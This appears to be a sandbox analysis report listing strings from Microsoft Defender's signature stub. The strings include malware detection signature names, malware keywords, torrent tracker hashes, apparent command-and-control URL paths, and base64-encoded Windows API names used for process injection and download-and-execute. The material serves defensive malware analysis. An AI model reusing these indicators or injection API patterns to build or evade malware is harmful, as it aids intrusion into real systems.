        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: zrecommended amd gpu driver version is 15.7.1.
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: nconfig file is from an older version of nicehashminer..
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: n[not compatible. update nicehash miner]x
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:virtool:msil/lore!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "!#tel:virtool:msil/lore!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: {11111-22222-50001-00002}x
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#trojan:win32/susdbg.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#trojan:win32/susdbg.j!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: obfuscat
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: njrat
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: rootkit
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: bootkit
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: schost
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dropper
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: zombie
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: flood
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: wiper
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lolbin
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:virtool:win32/ascurlexe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: _ !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:trojandownloader:win32/rottentu.a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 9a4ed3951a48481d942837cd3e280fc2784d07fd@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: c266d01070711fc4fda0d694022c20ae77191dc5@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: c8ca323d0c9632af9f328ce6fa5b8790ef1c35f7@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 6afc5db0292dd03169551863afdccd09b8760c4f@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 571ecc51ce66f295e4c4f4b2736fdd531747d132@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 398f6e93eef6450d8560c2697a064f2f6e8c327c@udp://tracker.coppersurfer.tk:6969l
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: c5e0f497b82de46e8b6804483bc5b6d8e0fbfc80@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 3d32dbdedd4f3afb89c14d270aa32b00807d24f6@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 6f09e5949fe6e61793cc1866f0eab08fa2c73c14@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 9ccf06fc6b337504a48beac323037c4392070b86@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: f7ea963143164ccdd99a3203def29fc762e4d3c7@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 5a337abfb448297e8d521770351d7d312edaedf7@udp://tracker.publicbt.com:80
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %s\ucv\ucv.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: torrent_init
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: torrent_exec
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: torrent_file
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: torrent_filex
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:win32/foxiebro.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:virtool:win32/obfuscator_sirefef_d
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:trojandownloader:win32/hormelex.b3
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d173ad6a9083918ab47fb86f99bdaa58f51136ec6ae83488ab3df90e3ee70222
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 608abf7dafa89f87b47ab8a96c83b951ff31f420b179a54888a75ddc6489ceb8
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: cc77aa5684ff67df1dc273ee1ec4629c49e20525b27aa556a745fd3c4eea65d0
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 88b1609052c0a414cd0fb2d5062df22fd17fb5a64b85e36dfe0da528d563e561
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 86ac639e47cdbda097ef52dc455ad853ca4d4fc4bea446e57ea04b4d934c87
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 6f964d85a6ac9078a96bd630e40ed373ab699bb975e61da8334280d14186c3
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 3ee71dd20579ee5a99588dff2bd00933e45e8cb09746e4082bc216c66eaf97
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0a3be512c84a5ac372bf6fdf063ae21837e30821b01357f267fb3ae55be808
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1338e919d346221c37ec6fe7074199389e37fe22183290cdae43e5102daa57
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0d3cfa27dd51a39847e315ca012cd375a34ffe22b022b6c76def07608d55d7
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 54fd30e2100270d6063ee2113bce130937ef02749f5ecf0b1acc73b364a1a0
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 6188be75a6a8968cb16086b555ee31da016983ac5df225a650fd26df075e96
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 9943f52cdf52c0a65582bf72ac7687bf689a4537d30f3e5df92f1fd70e5dcf
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 6786b06d9798e45e98ab7ba142f325d60631d70858f5478d4485bc749252e8
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /protect.org.br/phpmailer_5.2.1/test_script/styles/global.zip
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /protect.org.br/phpmailer_5.2.1/test_script/styles/global.zipx
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/falsecobra.b!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /commands/@slp
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /commands/cmd
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: return code %d
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/@name
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/@group
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/@version
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/proxy
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/proxy/@name
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/proxy/@password
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/servers/server[@current='true']
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/servers/server/@current[text()='true']
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/servers/server[text()='%s']/@current
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/servers/server[%d]
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/storage
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/check
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: /settings/interval
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: stg%02d.cab
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 8ivbscriptwww
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: reportdirwww
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: xcfgpathw
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: created by midl version 7.00.0555 at thu apr 12 10:40:03 2018
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: windows check av servicex
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alfper:trojan:win32/fusiondrive.x!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: b0f88de-a9e9-4c82-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 3fb-9162622d747
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7c93aff-5b96-48be-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: bf1-756b9b34aad
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: adaa7e2-6fce-408e-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e41-f2f0e53122b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 5fdc637-7136-4511-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 225-3d1d54c1162
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ed70605-5549-4636-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: af6-1a2e7dda747
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7b46347-aa32-4757-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 55a-e3cda6b5a49
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 8ea0dc9-19a5-40ad-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ba2-5e0640fed7a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: fef5628-28b6-4ff7-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: a74-a0bc1569e24
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: b81f10a-c941-4749-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 269-82ae7a64685
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1e0d64a-5dfe-4ff0-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 63b-484d24e89a4
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 01919fb-9b75-4adc-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ce5-aeca11ad511
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 9cddcf5-1062-4614-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: b5d-f8cb90fa792
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: f51df4d-b4a9-4473-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 83e-25ccb20dee8
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ddc77cd-21d3-4134-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: b2f-37860852465
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1d757a7-2e25-43d2-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 20f-d9d1c8b7155
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7105dd9-73ad-490f-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 96a-64704fb625c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 62a3999-e1c8-4ea5-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 590-7f7b2659099
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1ca77fa-94d1-4455-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 460-32b095781a9
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0c0bd12-79cf-4e86-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 9e9-347e1715bb4
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 412efe8-384f-4591-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 738-e234e396cd4
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0f6455e-a4a3-4da0-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 4a9-b52981901d1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0d8d09e-a463-4f15-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: b61-c975ff2d1cc
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 8d1c067-2e04-4aa3-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 707-0cf06934ed4
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: de78304-2be5-4357-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 3e1-f4426a350b2
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: access_to_cfg_gp
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: cfg_access
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: networkgp.com
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: access_to_cfg_nb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: gpdcount.php?
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: feedbak_computeckey_saveregstrvalues_error
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: start_downloadexecuteupdater
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: adshow.php?ver=%s&subid=%s&mac=%s
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: start_computeckey
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: computeckey
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ret0compckey
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ret1compckey
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: files required by gabpath have been removed.
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:base64encodefunctionmonitorw
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: tw96awxsys80ljagkgnvbxbhdglibgup
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: u2hlbgxfegvjdxrlqq==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: tg9hzfjlc291cmnl
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: v2lurxhlyw==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: q3jlyxrluhjvy2vzc0fzvxnlcke=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: u2v0u2vjdxjpdhlezxnjcmlwdg9yrgfjba==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: qwrkqwnjzxnzqwxsb3dlzefjzq==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: v1rtuxvlcnltzxnzaw9usw5mb3jtyxrpb25b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: umvnaxn0zxjtzxj2awnlq3rybehhbmrszxjb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: r2v0u2hvcnrqyxrotmftzue=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: v3jpdgvgawxl
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: r2v0u3lzdgvtrglyzwn0b3j5qq==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: sw50zxjuzxrszwfkrmlszq==
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: sw1tr2v0q29tcg9zaxrpb25tdhjpbmdb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d2luaw5ldc5kbgw=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ahr0cdov
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: vmlydhvhbefsbg9j
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: vmlydhvhbefsbg9jrxg=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: v3jpdgvqcm9jzxnztwvtb3j5x%
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#fakecert!metpca2018
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: -+g|g'
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0awk9[
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: #y!]:
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: kfy |a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: j9v[$)
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/snakeklg.gg!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slfper:trojan:powershell/psobfuscateddownloader.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 3p!#slfper:trojan:powershell/psobfuscateddownloader.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: o!#aggr:dridexdllnames
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:unnamedeccparams
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: n!#tel:unnamedeccparams
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#aggr:genericinstallerfile
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: i!#aggr:genericinstallerfile
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#bm_at:aadaccesstoken_utils
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: h!#bm_at:aadaccesstoken_utils
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:kcrc:trojan:msil/adobal
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: g!#tel:kcrc:trojan:msil/adobal
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:win32/suspxl4exec.aj!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: f!#slf:win32/suspxl4exec.aj!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#aggr:suspiciousautoitexeinusb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e!#aggr:suspiciousautoitexeinusb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#bm_copyrenamediname_csrss.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e!#bm_copyrenamediname_csrss.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#bm_copyrenamedoname_csrss.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e!#bm_copyrenamedoname_csrss.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#alf:trojan:win32/cassini.a!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#alf:trojan:win32/cassini.b!ibt
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:aggr:copyrenamed!cmstp.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d!#slf:aggr:copyrenamed!cmstp.exe
